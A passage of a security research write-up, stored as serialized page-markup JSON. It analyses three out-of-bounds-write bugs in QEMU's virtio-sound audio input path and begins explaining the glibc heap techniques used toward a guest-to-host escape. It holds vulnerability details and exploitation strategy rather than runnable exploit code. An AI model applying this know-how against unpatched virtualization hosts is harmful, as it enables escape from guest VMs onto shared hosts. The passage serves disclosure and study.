",{"type":24,"tag":930,"props":127801,"children":127802},{"style":1158},[127803],{"type":30,"value":1161},{"type":24,"tag":930,"props":127805,"children":127806},{"style":1242},[127807],{"type":30,"value":1245},{"type":24,"tag":930,"props":127809,"children":127810},{"style":959},[127811],{"type":30,"value":5539},{"type":24,"tag":930,"props":127813,"children":127814},{"class":932,"line":1834},[127815,127819],{"type":24,"tag":930,"props":127816,"children":127817},{"style":1079},[127818],{"type":30,"value":127613},{"type":24,"tag":930,"props":127820,"children":127821},{"style":959},[127822],{"type":30,"value":5539},{"type":24,"tag":930,"props":127824,"children":127825},{"class":932,"line":1843},[127826],{"type":24,"tag":930,"props":127827,"children":127828},{"style":959},[127829],{"type":30,"value":1634},{"type":24,"tag":930,"props":127831,"children":127832},{"class":932,"line":1851},[127833,127837,127841,127845,127849],{"type":24,"tag":930,"props":127834,"children":127835},{"style":1023},[127836],{"type":30,"value":127490},{"type":24,"tag":930,"props":127838,"children":127839},{"style":959},[127840],{"type":30,"value":16864},{"type":24,"tag":930,"props":127842,"children":127843},{"style":1023},[127844],{"type":30,"value":126688},{"type":24,"tag":930,"props":127846,"children":127847},{"style":1158},[127848],{"type":30,"value":18168},{"type":24,"tag":930,"props":127850,"children":127851},{"style":959},[127852],{"type":30,"value":127030},{"type":24,"tag":930,"props":127854,"children":127855},{"class":932,"line":1919},[127856,127861,127865],{"type":24,"tag":930,"props":127857,"children":127858},{"style":959},[127859],{"type":30,"value":127860},"                available ",{"type":24,"tag":930,"props":127862,"children":127863},{"style":1158},[127864],{"type":30,"value":2072},{"type":24,"tag":930,"props":127866,"children":127867},{"style":959},[127868],{"type":30,"value":127030},{"type":24,"tag":930,"props":127870,"children":127871},{"class":932,"line":1927},[127872],{"type":24,"tag":930,"props":127873,"children":127874},{"style":959},[127875],{"type":30,"value":127876},"                [...]\n",{"type":24,"tag":930,"props":127878,"children":127879},{"class":932,"line":1935},[127880],{"type":24,"tag":930,"props":127881,"children":127882},{"style":959},[127883],{"type":30,"value":1643},{"type":24,"tag":930,"props":127885,"children":127886},{"class":932,"line":1943},[127887],{"type":24,"tag":930,"props":127888,"children":127889},{"style":959},[127890],{"type":30,"value":1831},{"type":24,"tag":930,"props":127892,"children":127893},{"class":932,"line":1955},[127894],{"type":24,"tag":930,"props":127895,"children":127896},{"style":959},[127897],{"type":30,"value":1840},{"type":24,"tag":930,"props":127899,"children":127900},{"class":932,"line":1975},[127901],{"type":24,"tag":930,"props":127902,"children":127903},{"style":959},[127904],{"type":30,"value":2528},{"type":24,"tag":33,"props":127906,"children":127907},{},[127908,127909,127914,127915,127921,127923,127929,127931,127936,127937,127942,127944,127949],{"type":30,"value":126810},{"type":24,"tag":156,"props":127910,"children":127912},{"className":127911},[],[127913],{"type":30,"value":126816},{"type":30,"value":962},{"type":24,"tag":156,"props":127916,"children":127918},{"className":127917},[],[127919],{"type":30,"value":127920},"max_size",{"type":30,"value":127922}," is set to ",{"type":24,"tag":156,"props":127924,"children":127926},{"className":127925},[],[127927],{"type":30,"value":127928},"iov_size(in_sg, in_num)",{"type":30,"value":127930},". Both ",{"type":24,"tag":156,"props":127932,"children":127934},{"className":127933},[],[127935],{"type":30,"value":126541},{"type":30,"value":211},{"type":24,"tag":156,"props":127938,"children":127940},{"className":127939},[],[127941],{"type":30,"value":126558},{"type":30,"value":127943}," are the same guest-controlled fields from ",{"type":24,"tag":156,"props":127945,"children":127947},{"className":127946},[],[127948],{"type":30,"value":126193},{"type":30,"value":436},{"type":24,"tag":33,"props":127951,"children":127952},{},[127953,127955,127960,127962,127968,127970,127976,127978,127984],{"type":30,"value":127954},"Later, at ",{"type":24,"tag":156,"props":127956,"children":127958},{"className":127957},[],[127959],{"type":30,"value":126851},{"type":30,"value":127961},", the code checks whether ",{"type":24,"tag":156,"props":127963,"children":127965},{"className":127964},[],[127966],{"type":30,"value":127967},"buffer->size >= max_size",{"type":30,"value":127969},". In the RX path, ",{"type":24,"tag":156,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":30,"value":127975},"buffer->size",{"type":30,"value":127977}," tracks how many bytes have been written into ",{"type":24,"tag":156,"props":127979,"children":127981},{"className":127980},[],[127982],{"type":30,"value":127983},"buffer->data",{"type":30,"value":127985},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":33,"props":127987,"children":127988},{},[127989,127991,127996,127998,128004,128006,128011,128013,128019],{"type":30,"value":127990},"However, this does not match the allocation logic in ",{"type":24,"tag":156,"props":127992,"children":127994},{"className":127993},[],[127995],{"type":30,"value":126193},{"type":30,"value":127997},", which used: ",{"type":24,"tag":156,"props":127999,"children":128001},{"className":128000},[],[128002],{"type":30,"value":128003},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":30,"value":128005},". In other words, the allocation subtracts ",{"type":24,"tag":156,"props":128007,"children":128009},{"className":128008},[],[128010],{"type":30,"value":126917},{"type":30,"value":128012},", but the later bound in ",{"type":24,"tag":156,"props":128014,"children":128016},{"className":128015},[],[128017],{"type":30,"value":128018},"virtio_snd_pcm_in_cb",{"type":30,"value":128020}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":33,"props":128022,"children":128023},{},[128024,128026,128031,128033,128039,128041,128047,128049,128054,128056,128062,128064,128070,128072,128077,128079,128084],{"type":30,"value":128025},"Finally, at ",{"type":24,"tag":156,"props":128027,"children":128029},{"className":128028},[],[128030],{"type":30,"value":126875},{"type":30,"value":128032},", the code calls ",{"type":24,"tag":156,"props":128034,"children":128036},{"className":128035},[],[128037],{"type":30,"value":128038},"AUD_read",{"type":30,"value":128040}," with the following limit:\n",{"type":24,"tag":156,"props":128042,"children":128044},{"className":128043},[],[128045],{"type":30,"value":128046},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":30,"value":128048},". Notice how this bound does not take ",{"type":24,"tag":156,"props":128050,"children":128052},{"className":128051},[],[128053],{"type":30,"value":127920},{"type":30,"value":128055}," into account at all. That means if ",{"type":24,"tag":156,"props":128057,"children":128059},{"className":128058},[],[128060],{"type":30,"value":128061},"available",{"type":30,"value":128063}," is larger than the allocated buffer, and ",{"type":24,"tag":156,"props":128065,"children":128067},{"className":128066},[],[128068],{"type":30,"value":128069},"stream->params.period_bytes",{"type":30,"value":128071}," is also larger than the allocated buffer, ",{"type":24,"tag":156,"props":128073,"children":128075},{"className":128074},[],[128076],{"type":30,"value":128038},{"type":30,"value":128078}," will write past the end of ",{"type":24,"tag":156,"props":128080,"children":128082},{"className":128081},[],[128083],{"type":30,"value":127983},{"type":30,"value":128085}," - the third, and final, bug we found.",{"type":24,"tag":33,"props":128087,"children":128088},{},[128089,128091,128096,128098,128104],{"type":30,"value":128090},"Looking further at the code, we can see that ",{"type":24,"tag":156,"props":128092,"children":128094},{"className":128093},[],[128095],{"type":30,"value":128069},{"type":30,"value":128097}," is fully guest-controlled by issuing a ",{"type":24,"tag":156,"props":128099,"children":128101},{"className":128100},[],[128102],{"type":30,"value":128103},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":30,"value":128105}," request:",{"type":24,"tag":920,"props":128107,"children":128109},{"code":128108,"language":6268,"meta":7,"className":19616,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[128110],{"type":24,"tag":156,"props":128111,"children":128112},{"__ignoreMap":7},[128113,128121,128150,128167,128187,128194,128211,128218,128225,128232,128254,128261,128268,128275,128321,128364,128408,128416,128453,128489,128525,128532,128549],{"type":24,"tag":930,"props":128114,"children":128115},{"class":932,"line":933},[128116],{"type":24,"tag":930,"props":128117,"children":128118},{"style":937},[128119],{"type":30,"value":128120},"static\n",{"type":24,"tag":930,"props":128122,"children":128123},{"class":932,"line":984},[128124,128128,128133,128138,128142,128146],{"type":24,"tag":930,"props":128125,"children":128126},{"style":937},[128127],{"type":30,"value":61022},{"type":24,"tag":930,"props":128129,"children":128130},{"style":1002},[128131],{"type":30,"value":128132}," virtio_snd_set_pcm_params",{"type":24,"tag":930,"props":128134,"children":128135},{"style":959},[128136],{"type":30,"value":128137},"(VirtIOSound ",{"type":24,"tag":930,"props":128139,"children":128140},{"style":1158},[128141],{"type":30,"value":1410},{"type":24,"tag":930,"props":128143,"children":128144},{"style":1023},[128145],{"type":30,"value":13758},{"type":24,"tag":930,"props":128147,"children":128148},{"style":959},[128149],{"type":30,"value":2832},{"type":24,"tag":930,"props":128151,"children":128152},{"class":932,"line":993},[128153,128158,128163],{"type":24,"tag":930,"props":128154,"children":128155},{"style":937},[128156],{"type":30,"value":128157},"                                   uint32_t",{"type":24,"tag":930,"props":128159,"children":128160},{"style":1023},[128161],{"type":30,"value":128162}," stream_id",{"type":24,"tag":930,"props":128164,"children":128165},{"style":959},[128166],{"type":30,"value":2832},{"type":24,"tag":930,"props":128168,"children":128169},{"class":932,"line":1057},[128170,128175,128179,128183],{"type":24,"tag":930,"props":128171,"children":128172},{"style":959},[128173],{"type":30,"value":128174},"                                   virtio_snd_pcm_set_params ",{"type":24,"tag":930,"props":128176,"children":128177},{"style":1158},[128178],{"type":30,"value":1410},{"type":24,"tag":930,"props":128180,"children":128181},{"style":1023},[128182],{"type":30,"value":101346},{"type":24,"tag":930,"props":128184,"children":128185},{"style":959},[128186],{"type":30,"value":1054},{"type":24,"tag":930,"props":128188,"children":128189},{"class":932,"line":1066},[128190],{"type":24,"tag":930,"props":128191,"children":128192},{"style":959},[128193],{"type":30,"value":13987},{"type":24,"tag":930,"props":128195,"children":128196},{"class":932,"line":1075},[128197,128202,128206],{"type":24,"tag":930,"props":128198,"children":128199},{"style":959},[128200],{"type":30,"value":128201},"    virtio_snd_pcm_set_params ",{"type":24,"tag":930,"props":128203,"children":128204},{"style":1158},[128205],{"type":30,"value":1410},{"type":24,"tag":930,"props":128207,"children":128208},{"style":959},[128209],{"type":30,"value":128210},"st_params;\n",{"type":24,"tag":930,"props":128212,"children":128213},{"class":932,"line":1122},[128214],{"type":24,"tag":930,"props":128215,"children":128216},{"emptyLinePlaceholder":16},[128217],{"type":30,"value":2412},{"type":24,"tag":930,"props":128219,"children":128220},{"class":932,"line":1131},[128221],{"type":24,"tag":930,"props":128222,"children":128223},{"style":959},[128224],{"type":30,"value":2923},{"type":24,"tag":930,"props":128226,"children":128227},{"class":932,"line":1144},[128228],{"type":24,"tag":930,"props":128229,"children":128230},{"emptyLinePlaceholder":16},[128231],{"type":30,"value":2412},{"type":24,"tag":930,"props":128233,"children":128234},{"class":932,"line":1169},[128235,128240,128244,128249],{"type":24,"tag":930,"props":128236,"children":128237},{"style":959},[128238],{"type":30,"value":128239},"    st_params ",{"type":24,"tag":930,"props":128241,"children":128242},{"style":1158},[128243],{"type":30,"value":1161},{"type":24,"tag":930,"props":128245,"children":128246},{"style":1002},[128247],{"type":30,"value":128248}," virtio_snd_pcm_get_params",{"type":24,"tag":930,"props":128250,"children":128251},{"style":959},[128252],{"type":30,"value":128253},"(s, stream_id);\n",{"type":24,"tag":930,"props":128255,"children":128256},{"class":932,"line":1191},[128257],{"type":24,"tag":930,"props":128258,"children":128259},{"emptyLinePlaceholder":16},[128260],{"type":30,"value":2412},{"type":24,"tag":930,"props":128262,"children":128263},{"class":932,"line":1223},[128264],{"type":24,"tag":930,"props":128265,"children":128266},{"style":959},[128267],{"type":30,"value":2923},{"type":24,"tag":930,"props":128269,"children":128270},{"class":932,"line":1281},[128271],{"type":24,"tag":930,"props":128272,"children":128273},{"emptyLinePlaceholder":16},[128274],{"type":30,"value":2412},{"type":24,"tag":930,"props":128276,"children":128277},{"class":932,"line":1313},[128278,128283,128287,128292,128296,128301,128305,128309,128313,128317],{"type":24,"tag":930,"props":128279,"children":128280},{"style":1023},[128281],{"type":30,"value":128282},"    st_params",{"type":24,"tag":930,"props":128284,"children":128285},{"style":959},[128286],{"type":30,"value":16864},{"type":24,"tag":930,"props":128288,"children":128289},{"style":1023},[128290],{"type":30,"value":128291},"buffer_bytes",{"type":24,"tag":930,"props":128293,"children":128294},{"style":1158},[128295],{"type":30,"value":6137},{"type":24,"tag":930,"props":128297,"children":128298},{"style":1002},[128299],{"type":30,"value":128300}," le32_to_cpu",{"type":24,"tag":930,"props":128302,"children":128303},{"style":959},[128304],{"type":30,"value":1010},{"type":24,"tag":930,"props":128306,"children":128307},{"style":1023},[128308],{"type":30,"value":101346},{"type":24,"tag":930,"props":128310,"children":128311},{"style":959},[128312],{"type":30,"value":16864},{"type":24,"tag":930,"props":128314,"children":128315},{"style":1023},[128316],{"type":30,"value":128291},{"type":24,"tag":930,"props":128318,"children":128319},{"style":959},[128320],{"type":30,"value":1278},{"type":24,"tag":930,"props":128322,"children":128323},{"class":932,"line":1335},[128324,128328,128332,128336,128340,128344,128348,128352,128356,128360],{"type":24,"tag":930,"props":128325,"children":128326},{"style":1023},[128327],{"type":30,"value":128282},{"type":24,"tag":930,"props":128329,"children":128330},{"style":959},[128331],{"type":30,"value":16864},{"type":24,"tag":930,"props":128333,"children":128334},{"style":1023},[128335],{"type":30,"value":127741},{"type":24,"tag":930,"props":128337,"children":128338},{"style":1158},[128339],{"type":30,"value":6137},{"type":24,"tag":930,"props":128341,"children":128342},{"style":1002},[128343],{"type":30,"value":128300},{"type":24,"tag":930,"props":128345,"children":128346},{"style":959},[128347],{"type":30,"value":1010},{"type":24,"tag":930,"props":128349,"children":128350},{"style":1023},[128351],{"type":30,"value":101346},{"type":24,"tag":930,"props":128353,"children":128354},{"style":959},[128355],{"type":30,"value":16864},{"type":24,"tag":930,"props":128357,"children":128358},{"style":1023},[128359],{"type":30,"value":127741},{"type":24,"tag":930,"props":128361,"children":128362},{"style":959},[128363],{"type":30,"value":1278},{"type":24,"tag":930,"props":128365,"children":128366},{"class":932,"line":1376},[128367,128371,128375,128380,128384,128388,128392,128396,128400,128404],{"type":24,"tag":930,"props":128368,"children":128369},{"style":1023},[128370],{"type":30,"value":128282},{"type":24,"tag":930,"props":128372,"children":128373},{"style":959},[128374],{"type":30,"value":16864},{"type":24,"tag":930,"props":128376,"children":128377},{"style":1023},[128378],{"type":30,"value":128379},"features",{"type":24,"tag":930,"props":128381,"children":128382},{"style":1158},[128383],{"type":30,"value":6137},{"type":24,"tag":930,"props":128385,"children":128386},{"style":1002},[128387],{"type":30,"value":128300},{"type":24,"tag":930,"props":128389,"children":128390},{"style":959},[128391],{"type":30,"value":1010},{"type":24,"tag":930,"props":128393,"children":128394},{"style":1023},[128395],{"type":30,"value":101346},{"type":24,"tag":930,"props":128397,"children":128398},{"style":959},[128399],{"type":30,"value":16864},{"type":24,"tag":930,"props":128401,"children":128402},{"style":1023},[128403],{"type":30,"value":128379},{"type":24,"tag":930,"props":128405,"children":128406},{"style":959},[128407],{"type":30,"value":1278},{"type":24,"tag":930,"props":128409,"children":128410},{"class":932,"line":1418},[128411],{"type":24,"tag":930,"props":128412,"children":128413},{"style":1422},[128414],{"type":30,"value":128415},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":930,"props":128417,"children":128418},{"class":932,"line":1438},[128419,128423,128427,128432,128436,128441,128445,128449],{"type":24,"tag":930,"props":128420,"children":128421},{"style":1023},[128422],{"type":30,"value":128282},{"type":24,"tag":930,"props":128424,"children":128425},{"style":959},[128426],{"type":30,"value":16864},{"type":24,"tag":930,"props":128428,"children":128429},{"style":1023},[128430],{"type":30,"value":128431},"channels",{"type":24,"tag":930,"props":128433,"children":128434},{"style":1158},[128435],{"type":30,"value":6137},{"type":24,"tag":930,"props":128437,"children":128438},{"style":1023},[128439],{"type":30,"value":128440}," params",{"type":24,"tag":930,"props":128442,"children":128443},{"style":959},[128444],{"type":30,"value":16864},{"type":24,"tag":930,"props":128446,"children":128447},{"style":1023},[128448],{"type":30,"value":128431},{"type":24,"tag":930,"props":128450,"children":128451},{"style":959},[128452],{"type":30,"value":5539},{"type":24,"tag":930,"props":128454,"children":128455},{"class":932,"line":1479},[128456,128460,128464,128469,128473,128477,128481,128485],{"type":24,"tag":930,"props":128457,"children":128458},{"style":1023},[128459],{"type":30,"value":128282},{"type":24,"tag":930,"props":128461,"children":128462},{"style":959},[128463],{"type":30,"value":16864},{"type":24,"tag":930,"props":128465,"children":128466},{"style":1023},[128467],{"type":30,"value":128468},"format",{"type":24,"tag":930,"props":128470,"children":128471},{"style":1158},[128472],{"type":30,"value":6137},{"type":24,"tag":930,"props":128474,"children":128475},{"style":1023},[128476],{"type":30,"value":128440},{"type":24,"tag":930,"props":128478,"children":128479},{"style":959},[128480],{"type":30,"value":16864},{"type":24,"tag":930,"props":128482,"children":128483},{"style":1023},[128484],{"type":30,"value":128468},{"type":24,"tag":930,"props":128486,"children":128487},{"style":959},[128488],{"type":30,"value":5539},{"type":24,"tag":930,"props":128490,"children":128491},{"class":932,"line":1506},[128492,128496,128500,128505,128509,128513,128517,128521],{"type":24,"tag":930,"props":128493,"children":128494},{"style":1023},[128495],{"type":30,"value":128282},{"type":24,"tag":930,"props":128497,"children":128498},{"style":959},[128499],{"type":30,"value":16864},{"type":24,"tag":930,"props":128501,"children":128502},{"style":1023},[128503],{"type":30,"value":128504},"rate",{"type":24,"tag":930,"props":128506,"children":128507},{"style":1158},[128508],{"type":30,"value":6137},{"type":24,"tag":930,"props":128510,"children":128511},{"style":1023},[128512],{"type":30,"value":128440},{"type":24,"tag":930,"props":128514,"children":128515},{"style":959},[128516],{"type":30,"value":16864},{"type":24,"tag":930,"props":128518,"children":128519},{"style":1023},[128520],{"type":30,"value":128504},{"type":24,"tag":930,"props":128522,"children":128523},{"style":959},[128524],{"type":30,"value":5539},{"type":24,"tag":930,"props":128526,"children":128527},{"class":932,"line":1525},[128528],{"type":24,"tag":930,"props":128529,"children":128530},{"emptyLinePlaceholder":16},[128531],{"type":30,"value":2412},{"type":24,"tag":930,"props":128533,"children":128534},{"class":932,"line":1569},[128535,128539,128544],{"type":24,"tag":930,"props":128536,"children":128537},{"style":1079},[128538],{"type":30,"value":20090},{"type":24,"tag":930,"props":128540,"children":128541},{"style":1002},[128542],{"type":30,"value":128543}," cpu_to_le32",{"type":24,"tag":930,"props":128545,"children":128546},{"style":959},[128547],{"type":30,"value":128548},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":930,"props":128550,"children":128551},{"class":932,"line":1592},[128552],{"type":24,"tag":930,"props":128553,"children":128554},{"style":959},[128555],{"type":30,"value":2528},{"type":24,"tag":33,"props":128557,"children":128558},{},[128559,128561,128566,128568,128574,128576,128581,128583,128588,128590,128596,128597,128602],{"type":30,"value":128560},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":156,"props":128562,"children":128564},{"className":128563},[],[128565],{"type":30,"value":6538},{"type":30,"value":128567},") and signed (",{"type":24,"tag":156,"props":128569,"children":128571},{"className":128570},[],[128572],{"type":30,"value":128573},"s8",{"type":30,"value":128575},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":156,"props":128577,"children":128579},{"className":128578},[],[128580],{"type":30,"value":32530},{"type":30,"value":128582}," in ",{"type":24,"tag":156,"props":128584,"children":128586},{"className":128585},[],[128587],{"type":30,"value":6538},{"type":30,"value":128589},", but ",{"type":24,"tag":156,"props":128591,"children":128593},{"className":128592},[],[128594],{"type":30,"value":128595},"0x00",{"type":30,"value":128582},{"type":24,"tag":156,"props":128598,"children":128600},{"className":128599},[],[128601],{"type":30,"value":128573},{"type":30,"value":436},{"type":24,"tag":21895,"props":128604,"children":128605},{},[],{"type":24,"tag":33,"props":128607,"children":128608},{},[128609],{"type":30,"value":128610},"To summarize:",{"type":24,"tag":478,"props":128612,"children":128613},{},[128614,128633,128651],{"type":24,"tag":100,"props":128615,"children":128616},{},[128617,128619,128624,128626,128631],{"type":30,"value":128618},"an integer underflow in the ",{"type":24,"tag":156,"props":128620,"children":128622},{"className":128621},[],[128623],{"type":30,"value":126688},{"type":30,"value":128625}," calculation in ",{"type":24,"tag":156,"props":128627,"children":128629},{"className":128628},[],[128630],{"type":30,"value":126193},{"type":30,"value":128632},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":100,"props":128634,"children":128635},{},[128636,128638,128643,128644,128649],{"type":30,"value":128637},"a mismatch in the ",{"type":24,"tag":156,"props":128639,"children":128641},{"className":128640},[],[128642],{"type":30,"value":127920},{"type":30,"value":128625},{"type":24,"tag":156,"props":128645,"children":128647},{"className":128646},[],[128648],{"type":30,"value":128018},{"type":30,"value":128650},", leading to at most 8-byte OOB write",{"type":24,"tag":100,"props":128652,"children":128653},{},[128654,128656,128661,128663,128668,128670,128675],{"type":30,"value":128655},"a missing bound in the ",{"type":24,"tag":156,"props":128657,"children":128659},{"className":128658},[],[128660],{"type":30,"value":126688},{"type":30,"value":128662}," passed to ",{"type":24,"tag":156,"props":128664,"children":128666},{"className":128665},[],[128667],{"type":30,"value":128038},{"type":30,"value":128669},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":156,"props":128671,"children":128673},{"className":128672},[],[128674],{"type":30,"value":128061},{"type":30,"value":85360},{"type":24,"tag":33,"props":128677,"children":128678},{},[128679,128681,128686,128688,128693,128695,128701],{"type":30,"value":128680},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":156,"props":128682,"children":128684},{"className":128683},[],[128685],{"type":30,"value":128061},{"type":30,"value":128687},", but in our setup with the ALSA backend, ",{"type":24,"tag":156,"props":128689,"children":128691},{"className":128690},[],[128692],{"type":30,"value":128061},{"type":30,"value":128694}," was consistently around ",{"type":24,"tag":156,"props":128696,"children":128698},{"className":128697},[],[128699],{"type":30,"value":128700},"4096",{"type":30,"value":436},{"type":24,"tag":33,"props":128703,"children":128704},{},[128705,128707,128714,128715,128722],{"type":30,"value":128706},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":37,"props":128708,"children":128711},{"href":128709,"rel":128710},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[41],[128712],{"type":30,"value":128713},"commit 1",{"type":30,"value":962},{"type":24,"tag":37,"props":128716,"children":128719},{"href":128717,"rel":128718},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[41],[128720],{"type":30,"value":128721},"commit 2",{"type":30,"value":128723},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":68,"props":128725,"children":128726},{"id":103172},[128727],{"type":30,"value":103175},{"type":24,"tag":33,"props":128729,"children":128730},{},[128731],{"type":30,"value":128732},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":33,"props":128734,"children":128735},{},[128736],{"type":30,"value":128737},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":151,"props":128739,"children":128741},{"id":128740},"achieving-a-better-primitive",[128742],{"type":30,"value":128743},"Achieving a Better Primitive",{"type":24,"tag":33,"props":128745,"children":128746},{},[128747],{"type":30,"value":128748},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":33,"props":128750,"children":128751},{},[128752],{"type":30,"value":128753},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":33,"props":128755,"children":128756},{},[128757],{"type":30,"value":128758},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":21995,"props":128760,"children":128762},{"id":128761},"glibc-allocator",[128763],{"type":30,"value":128764},"Glibc Allocator",{"type":24,"tag":33,"props":128766,"children":128767},{},[128768,128770,128777],{"type":30,"value":128769},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":37,"props":128771,"children":128774},{"href":128772,"rel":128773},"https://github.com/shellphish/how2heap",[41],[128775],{"type":30,"value":128776},"how2heap",{"type":30,"value":436},{"type":24,"tag":40434,"props":128779,"children":128781},{"id":128780},"chunk-layout-and-bins",[128782],{"type":30,"value":128783},"Chunk Layout and Bins",{"type":24,"tag":33,"props":128785,"children":128786},{},[128787],{"type":30,"value":128788},"A chunk looks like this:",{"type":24,"tag":920,"props":128790,"children":128792},{"code":128791},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[128793],{"type":24,"tag":156,"props":128794,"children":128795},{"__ignoreMap":7},[128796],{"type":30,"value":128791},{"type":24,"tag":33,"props":128798,"children":128799},{},[128800,128802,128808,128810,128816,128817,128822,128823,128829,128831,128836,128838,128843,128845,128851,128852,128858,128860,128866],{"type":30,"value":128801},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":156,"props":128803,"children":128805},{"className":128804},[],[128806],{"type":30,"value":128807},"prev_size",{"type":30,"value":128809}," field at offset ",{"type":24,"tag":156,"props":128811,"children":128813},{"className":128812},[],[128814],{"type":30,"value":128815},"0x0",{"type":30,"value":40638},{"type":24,"tag":156,"props":128818,"children":128820},{"className":128819},[],[128821],{"type":30,"value":126688},{"type":30,"value":128809},{"type":24,"tag":156,"props":128824,"children":128826},{"className":128825},[],[128827],{"type":30,"value":128828},"0x8",{"type":30,"value":128830},". As the name suggests, ",{"type":24,"tag":156,"props":128832,"children":128834},{"className":128833},[],[128835],{"type":30,"value":128807},{"type":30,"value":128837}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":156,"props":128839,"children":128841},{"className":128840},[],[128842],{"type":30,"value":126688},{"type":30,"value":128844}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":156,"props":128846,"children":128848},{"className":128847},[],[128849],{"type":30,"value":128850},"PREV_INUSE",{"type":30,"value":211},{"type":24,"tag":156,"props":128853,"children":128855},{"className":128854},[],[128856],{"type":30,"value":128857},"IS_MMAPPED",{"type":30,"value":128859}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":156,"props":128861,"children":128863},{"className":128862},[],[128864],{"type":30,"value":128865},"0x10",{"type":30,"value":436},{"type":24,"tag":33,"props":128868,"children":128869},{},[128870],{"type":30,"value":128871},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":40434,"props":128873,"children":128875},{"id":128874},"free-path",[128876],{"type":30,"value":128877},"free() path",{"type":24,"tag":33,"props":128879,"children":128880},{},[128881,128883,128889],{"type":30,"value":128882},"Let’s first look at the ",{"type":24,"tag":156,"props":128884,"children":128886},{"className":128885},[],[128887],{"type":30,"value":128888},"free()",{"type":30,"value":128890}," path in glibc 2.40:",{"type":24,"tag":920,"props":128892,"children":128894},{"code":128893,"language":6268,"meta":7,"className":19616,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[128895],{"type":24,"tag":156,"props":128896,"children":128897},{"__ignoreMap":7},[128898,128926,128933,128941,128949,128956,128978,128999,129006,129019,129026,129034,129041,129054,129061,129082,129103,129110],{"type":24,"tag":930,"props":128899,"children":128900},{"class":932,"line":933},[128901,128906,128910,128914,128918,128922],{"type":24,"tag":930,"props":128902,"children":128903},{"style":1002},[128904],{"type":30,"value":128905},"__libc_free",{"type":24,"tag":930,"props":128907,"children":128908},{"style":959},[128909],{"type":30,"value":1087},{"type":24,"tag":930,"props":128911,"children":128912},{"style":937},[128913],{"type":30,"value":54716},{"type":24,"tag":930,"props":128915,"children":128916},{"style":1158},[128917],{"type":30,"value":12924},{"type":24,"tag":930,"props":128919,"children":128920},{"style":1023},[128921],{"type":30,"value":43752},{"type":24,"tag":930,"props":128923,"children":128924},{"style":959},[128925],{"type":30,"value":1054},{"type":24,"tag":930,"props":128927,"children":128928},{"class":932,"line":984},[128929],{"type":24,"tag":930,"props":128930,"children":128931},{"style":959},[128932],{"type":30,"value":13987},{"type":24,"tag":930,"props":128934,"children":128935},{"class":932,"line":993},[128936],{"type":24,"tag":930,"props":128937,"children":128938},{"style":959},[128939],{"type":30,"value":128940},"  mstate 